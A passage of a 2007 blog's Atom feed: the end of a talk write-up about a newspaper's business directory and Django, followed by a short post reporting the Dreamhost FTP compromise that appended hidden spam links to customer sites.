&lt;p&gt;The final site I talked about was &lt;a href="http://www2.ljworld.com/marketplace/"&gt;Marketplace&lt;/a&gt;, the brand new business directory listing over 4,000 local companies. It can provide a map of &lt;a href="http://www2.ljworld.com/marketplace/categories/health-care/chiropractors/"&gt;all the chiropractors in town&lt;/a&gt;, along with their opening hours and contact details. Individual &lt;a href="http://www2.ljworld.com/marketplace/businesses/blue-heron/" title="Blue Heron"&gt;business listings&lt;/a&gt; can include events, photos, coupons, even &lt;a href="http://www2.ljworld.com/marketplace/businesses/wayne-larrys-sports-bar-grill/"&gt;video ads&lt;/a&gt;. Business owners can claim their listings and add more information to them; one restaurant uploaded photos of &lt;a href="http://www2.ljworld.com/marketplace/businesses/wayne-larrys-sports-bar-grill/products/burgers/"&gt;their entire menu&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I concluded with a few points on how you can go around building sites like this, including the "wouldn't it be cool if..." development process and the importance of cheap labour (interns!) to reliably populating your database. I also threw in a plug for &lt;a href="http://www.djangoproject.com/"&gt;Django&lt;/a&gt;; the automatic admin interface was developed especially to support the fast pace of development at the Journal-World.&lt;/p&gt;

&lt;p&gt;I finished up with a plug for the blogs of some of the current team, all well worth a look.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://www.jeffcroft.com/"&gt;Jeff Croft&lt;/a&gt; (congrats on &lt;a href="http://www2.jeffcroft.com/blog/2007/jun/11/my-posses-broadway/" title="My Posse's On Broadway"&gt;the new gig&lt;/a&gt;!)&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.b-list.org/"&gt;James Bennett&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.jacobian.org/"&gt;Jacob Kaplan-Moss&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://postneo.com/"&gt;Matt Croydon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.playgroundblues.com/"&gt;Nathan Borror&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://mintchaos.com/"&gt;Christian Metts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;object type="application/x-shockwave-flash" data="https://s3.amazonaws.com:443/slideshare/ssplayer.swf?id=62151&amp;amp;doc=doing-local-right4543" width="425" height="348"&gt;&lt;param name="movie" value="https://s3.amazonaws.com:443/slideshare/ssplayer.swf?id=62151&amp;amp;doc=doing-local-right4543" /&gt;&lt;/object&gt;

&lt;p&gt;&lt;a href="http://www.slideshare.net/simon/doing-local-right/download"&gt;Full download&lt;/a&gt; (PDF) available from slideshare.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Jun/11/local/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Jun/11/local/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="atmedia" /><category term="atmedia07" /><category term="atmedia2007" /><category term="kansas" /><category term="lawrence" /><category term="ljworld" /><category term="local" /><category term="newspapers" /><category term="speaking" /></entry><entry><title>Massive Dreamhost hack, WordPress not to blame</title><link href="http://simonwillison.net/2007/Jun/6/dreamhost/" rel="alternate" /><updated>2007-06-06T09:38:00Z</updated><id>http://simonwillison.net/2007/Jun/6/dreamhost/</id><summary type="html">&lt;p&gt;On &lt;a href="http://mezzoblue.com/archives/2007/06/05/unsettling/"&gt;mezzoblue&lt;/a&gt;, Dave Shea reports that someone had modified every index.php and index.html file on his site to include spam links at the bottom of the page, hidden inside a &lt;code&gt;&amp;lt;u style="display: none;"&amp;gt;&lt;/code&gt;. Dozens of other people in his comments reported the same thing happening to their sites.&lt;/p&gt;

&lt;p&gt;At first, it looked like the common thread was WordPress hosted on Dreamhost. Initial commenters were all running WordPress (Dave has it installed for other domains on his hosting account even though he doesn't use it for mezzoblue itself) and there was &lt;a href="http://wordpress.org/development/2007/01/wordpress-207/"&gt;a vulnerability in WordPress 2.0.7&lt;/a&gt; which was fixed back in January but would still affect people who hadn't yet upgraded. I &lt;a href="http://simonwillison.net/2007/Jun/5/mezzoblue/#comments"&gt;posted a link&lt;/a&gt; suggesting that WordPress users in particular should check their sites.&lt;/p&gt;

&lt;p&gt;I apologise to the WordPress team for even suggesting that their product had something to do with this. Here's an e-mail Dreamhost sent out to some of their customers last night:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We have detected what appears to be the exploit of a number of
accounts belonging to DreamHost customers, and it appears that your
account was one of those affected.&lt;/p&gt;

&lt;p&gt;We're still working to determine how this occurred, but it appears
that a 3rd party found a way to obtain the password information
associated with approximately 3,500 separate FTP accounts and has
used that information to append data to the index files of customer
sites using automated scripts (primarily for search engine
optimization purposes).&lt;/p&gt;

&lt;p&gt;Our records indicate that only roughly 20% of the accounts accessed -
less than 0.15% of the total accounts that we host - actually had
any changes made to them. Most accounts were untouched.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Scary stuff.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Jun/6/dreamhost/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Jun/6/dreamhost/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="dreamhost" /><category term="hosting" /><category term="security" /><category term="wordpress" /></entry></feed>
